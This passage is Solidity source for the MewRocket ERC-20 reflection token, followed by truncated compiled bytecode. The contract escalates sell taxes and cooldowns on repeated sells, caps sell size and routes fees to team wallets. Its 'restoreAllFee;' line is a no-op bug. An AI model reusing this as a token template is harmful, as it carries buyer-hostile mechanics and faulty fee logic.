errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } contract MewRocket is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"t.me/mewrocket"; string private constant _symbol = "MewRocket"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 7; uint256 private _teamFee = 5; mapping(address => bool) private bots; mapping(address => uint256) private buycooldown; mapping(address => uint256) private sellcooldown; mapping(address => uint256) private firstsell; mapping(address => uint256) private sellnumber; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private liquidityAdded = false; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 7; _teamFee = 5; } function setFee(uint256 multiplier) private { _taxFee = _taxFee * multiplier; if (multiplier > 1) { _teamFee = 10; } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(amount <= _maxTxAmount); require(buycooldown[to] < block.timestamp); buycooldown[to] = block.timestamp + (30 seconds); _teamFee = 6; _taxFee = 2; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount); require(sellcooldown[from] < block.timestamp); if(firstsell[from] + (1 days) < block.timestamp){ sellnumber[from] = 0; } if (sellnumber[from] == 0) { sellnumber[from]++; firstsell[from] = block.timestamp; sellcooldown[from] = block.timestamp + (1 hours); } else if (sellnumber[from] == 1) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (2 hours); } else if (sellnumber[from] == 2) { sellnumber[from]++; sellcooldown[from] = block.timestamp + (6 hours); } else if (sellnumber[from] == 3) { sellnumber[from]++; sellcooldown[from] = firstsell[from] + (1 days); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } setFee(sellnumber[from]); } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() public onlyOwner { require(liquidityAdded); tradingOpen = true; } function addLiquidity() external onlyOwner() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; liquidityAdded = true; _maxTxAmount = 3000000000 * 10**9; IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101025760003560e01c8063715018a611610095578063c3c8cd8011610064578063c3c8cd8014610330578063c9567bf914610347578063d543dbeb1461035e578063dd62ed3e14610387578063e8078d94146103c457610109565b8063715018a6146102865780638da5cb5b1461029d57806395d89b41146102c8578063a9059cbb146102f357610109565b8063313ce567116100d1578063313ce567146101de5780635932ead1146102095780636fc3eaec1461023257806370a082311461024957610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103db565b6040516101309190613213565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612d9a565b610418565b60405161016d91906131f8565b60405180910390f35b34801561018257600080fd5b5061018b610436565b6040516101989190613395565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612d4b565b610447565b6040516101d591906131f8565b60405180910390f35b3480156101ea57600080fd5b506101f3610520565b604051610200919061340a565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612dd6565b610529565b005b34801561023e57600080fd5b506102476105db565b005b34801561025557600080fd5b50610270600480360381019061026b9190612cbd565b61064d565b60405161027d9190613395565b60405180910390f35b34801561029257600080fd5b5061029b61069e565b005b3480156102a957600080fd5b506102b26107f1565b6040516102bf919061312a565b60405180910390f35b3480156102d457600080fd5b506102dd61081a565b6040516102ea9190613213565b60405180910390f35b3480156102ff57600080fd5b5061031a60048036038101906103159190612d9a565b610857565b60405161032791906131f8565b60405180910390f35b34801561033c57600080fd5b50610345610875565b005b34801561035357600080fd5b5061035c6108ef565b005b34801561036a57600080fd5b5061038560048036038101906103809190612e28565b6109ba565b005b34801561039357600080fd5b506103ae60048036038101906103a99190612d0f565b610b03565b6040516103bb9190613395565b60405180910390f35b3480156103d057600080fd5b506103d9610b8a565b005b60606040518060400160405280600e81526020017f742e6d652f6d6577726f636b6574000000000000000000000000000000000000815250905090565b600061042c610425611096565b848461109e565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610454848484611269565b61051584610460611096565b610510856040518060600160405280602881526020016139f460289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c6611096565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120399092919063ffffffff16565b61109e565b600190509392505050565b60006009905090565b610531611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b5906132f5565b60405180910390fd5b80601260186101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061c611096565b73ffffffffffffffffffffffffffffffffffffffff161461063c57600080fd5b600047905061064a8161209d565b50565b6000610697600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612198565b9050919050565b6106a6611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610733576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072a906132f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4d6577526f636b65740000000000000000000000000000000000000000000000815250905090565b600061086b610864611096565b8484611269565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108b6611096565b73ffffffffffffffffffffffffffffffffffffffff16146108d657600080fd5b60006108e13061064d565b90506108ec81612206565b50565b6108f7611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097b906132f5565b60405180910390fd5b601260159054906101000a900460ff1661099d57600080fd5b6001601260146101000a81548160ff021916908315150217905550565b6109c2611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906132f5565b60405180910390fd5b60008111610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a89906132b5565b60405180910390fd5b610ac16064610ab383683635c9adc5dea0000061250090919063ffffffff16565b61257b90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051610af89190613395565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610b92611096565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c16906132f5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610caf30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061109e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cf557600080fd5b505afa158015610d09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2d9190612ce6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8f57600080fd5b505afa158015610da3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc79190612ce6565b6040518363ffffffff1660e01b8152600401610de4929190613145565b602060405180830381600087803b158015610dfe57600080fd5b505af1158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612ce6565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ebf3061064d565b600080610eca6107f1565b426040518863ffffffff1660e01b8152600401610eec96959493929190613197565b6060604051808303818588803b158015610f0557600080fd5b505af1158015610f19573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f3e9190612e51565b5050506001601260176101000a81548160ff0219169083151502179055506001601260186101000a81548160ff0219169083151502179055506001601260156101000a81548160ff0219169083151502179055506729a2241af62c0000601381905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161104092919061316e565b602060405180830381600087803b15801561105a57600080fd5b505af115801561106e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110929190612dff565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110590613355565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117590613275565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125c9190613395565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d090613335565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090613235565b60405180910390fd5b6000811161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390613315565b60405180910390fd5b6113946107f1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561140257506113d26107f1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f7657601260189054906101000a900460ff1615611635573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156114de5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156115385750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561163457601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661157e611096565b73ffffffffffffffffffffffffffffffffffffffff1614806115f45750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115dc611096565b73ffffffffffffffffffffffffffffffffffffffff16145b611633576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162a90613375565b60405180910390fd5b5b5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116d95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116e257600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117e35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117fb5750601260189054906101000a900460ff165b156118d457601260149054906101000a900460ff1661181957600080fd5b60135481111561182857600080fd5b42600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061187357600080fd5b601e42611880919061347a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660098190555060026008819055505b60006118df3061064d565b9050601260169054906101000a900460ff1615801561194c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119645750601260179054906101000a900460ff165b15611f74576119ba60646119ac600361199e601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661064d565b61250090919063ffffffff16565b61257b90919063ffffffff16565b82111580156119cb57506013548211155b6119d457600080fd5b42600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a1f57600080fd5b4262015180600d60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a6e919061347a565b1015611aba576000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611bf157600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611b5290613629565b919050555042600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e1042611ba9919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f09565b6001600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ce457600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611c8990613629565b9190505550611c2042611c9c919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f08565b6002600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611dd757600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611d7c90613629565b919050555061546042611d8f919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f07565b6003600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611f0657600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611e6f90613629565b919050555062015180600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ec2919061347a565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b5b5b611f1281612206565b60004790506000811115611f2a57611f294761209d565b5b611f72600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c5565b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061201d5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561202757600090505b612033848484846125ee565b50505050565b6000838311158290612081576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120789190613213565b60405180910390fd5b5060008385612090919061355b565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120ed60028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612118573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61216960028461257b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60076008819055506005600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000683635c9adc5dea0000090506128ed683635c9adc5dea0000060065461257b90919063ffffffff16565b82101561290c57600654683635c9adc5dea00000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b90508083839550955095505050509350935093